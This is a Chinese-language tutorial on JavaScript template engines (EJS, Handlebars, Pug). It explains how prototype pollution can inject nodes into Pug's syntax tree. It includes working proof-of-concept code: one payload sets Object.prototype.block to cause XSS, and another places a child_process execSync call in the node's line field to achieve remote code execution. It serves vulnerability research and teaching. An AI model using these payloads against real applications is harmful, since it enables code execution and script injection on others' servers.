模版引擎是什么

JS web开发中常用的模版引擎如 ejspughandlebars

功能:

动态渲染HTML代码,创建可重复使用的页面结构

ejs 模版使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 安装EJS模块:npm install ejs

// 引入EJS模块
const ejs = require('ejs');

// 定义模板
const template = `
<h1>Hello, <%= name %>!</h1>
`;

// 渲染模板
const data = { name: 'John' };
const html = ejs.render(template, data);

console.log(html);

handlebars 模版使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 安装Handlebars模块:npm install handlebars

// 引入Handlebars模块
const handlebars = require('handlebars');

// 定义模板
const template = `
<h1>Hello, {{name}}!</h1>
`;

// 编译模板
const compiledTemplate = handlebars.compile(template);

// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

pug 模版使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 安装Pug模块:npm install pug

// 引入Pug模块
const pug = require('pug');

// 定义模板
const template = `
h1 Hello, #{name}!
`;

// 编译模板
const compiledTemplate = pug.compile(template);

// 渲染模板
const data = { name: 'John' };
const html = compiledTemplate(data);

console.log(html);

总结:

可以看到模版引擎其实都有各自的一些特定语法规则,比如 pug 中可以通过 #{name} 来引用外部环境的变量, ejs 则是 \<%= name %>。通过这种方式简化html代码的编写,同时实现模版重用

模版引擎的工作原理

本质上,引擎是通过针对你使用模版语言编写的模版进行解析,从而生成新的JS代码。大题过程可以概括如下:

1
词法解析 -> 语法解析 -> 代码生成

但是在语法树处理的过程中,在处理节点的时候,存在大量的赋值、循环操作,而在大部分模版引擎中,都是这么写的:

1
2
3
4
5
6
7
8
9
attrs[name] = attrs[value]  

if(ast.block){

}

for(var i in node){

}
  1. 赋值操作未判断对应的属性是否为对象自身的属性,导致访问到原型链的 Object.prototype 的属性
  2. 判断某个属性是否存在,同样未判断是否为对象自身属性是否存在,若存在原型链污染,则可以进入if判断
  3. JS的 for…in 循环会遍历对象的所有可枚举属性,包括原型链上的属性。例如:
1
2
3
4
5
let obj = { a: 1, b: 2 };
obj.__proto__.c = 3;
for (let i in obj) {
console.log(i); // a, b, c
}

因此若存在原型链污染,则可以随意修改AST树,进而影响生成的代码,最终达到RCE(远程代码执行)的目的

需要注意的是:

  1. AST树的生成本质上是影响生成的字符串,因此也可以导致XSS漏洞

  2. 代码执行的那一步才会导致RCE,这时候需要第一步通过原型链污染注入代码,进而影响生成的代码

pug template AST injection

1
2
3
4
5
6
7
8
9
10
11
const pug = require('pug');

// 模拟原型链污染
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

当执行到 fn({msg: 'It works'}); 这一步的时候,本质上是进入了一段函数

打印出这段函数的代码,可以看到通过原型链污染我们实现了向生成代码中插入一段字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(function anonymous(pug
) {
function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;
var locals_for_with = (locals || {});

(function (msg) {
;pug_debug_line = 1;
pug_html = pug_html + " h1\u003E";
;pug_debug_line = 1;
pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp)) + " script\u003Ealert(origin) \u002Fscript\u003E \u002Fh1\u003E";
}.call(this, "msg" in locals_for_with ?
locals_for_with.msg :
typeof msg !== 'undefined' ? msg : undefined));
;} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;}
return template;
})

原理分析(以pug为例)

语法树结构

pug 解析 h1= msg ,生成的语法树结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
"type":"Block",
"nodes":[
{
"type":"Tag",
"name":"h1",
"selfClosing":false,
"block":{
"type":"Block",
"nodes":[
{
"type":"Code",
"val":"msg",
"buffer":true,
"mustEscape":true,
"isInline":true,
"line":1,
"column":3
}
],
"line":1
},
"attrs":[

],
"attributeBlocks":[

],
"isInline":false,
"line":1,
"column":1
}
],
"line":0
}

语法树执行顺序

以刚刚生成的语法树结构举例,解析顺序为:

  1. Block
  2. Tag
  3. Block
  4. Code
  5. ……

注意第4步解析 node.TypeCode 类型,会执行如下代码:

1
2
3
4
5
case 'Code':
case 'While':
if (ast.block) { // 注意这里
ast.block = walkAST(ast.block, before, after, options);
}
  1. 判断 ast.block 属性是否存在,此处的 ast 即当前ast语法树的节点
  2. 如果存在,继续递归解析 block

结合原型链污染

如果某处存在原型链污染漏洞,使得

1
Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

那么 ast.block 就会访问到 ast.__proto__.block ,即Object.prototype.block 的属性

此时代码输出结果,导致了XSS

1
2
3
4
5
6
7
8
9
10
const pug = require('pug');

Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html); // <h1>It works<script>alert(origin)</script></h1>

RCE

我们知道pug本质上是将一段代码,如 h1 =msg 编译为一段js代码,背后其实就是生成语法树+ new Function

因此如果能通过AST Injection插入节点,并使之成为代码,即可达到远程代码执行的目的。

刚好pug中就有如下代码:

1
2
3
4
5
6
7
8
9
10
// /node_modules/pug-code-gen/index.js

if (debug && node.debug !== false && node.type !== 'Block') {
if (node.line) {
var js = ';pug_debug_line = ' + node.line;
if (node.filename)
js += ';pug_debug_filename = ' + stringify(node.filename);
this.buf.push(js + ';');
}
}

那么我们通过 AST Injection + Prototype Pollution 即可实现RCE

1
2
3
4
5
6
7
8
9
10
const pug = require('pug');

Object.prototype.block = {"type":"Text","line":`console.log(process.mainModule.require('child_process').execSync('id').toString())`};

const source = `h1= msg`;

var fn = pug.compile(source, {});
var html = fn({msg: 'It works'});

console.log(html);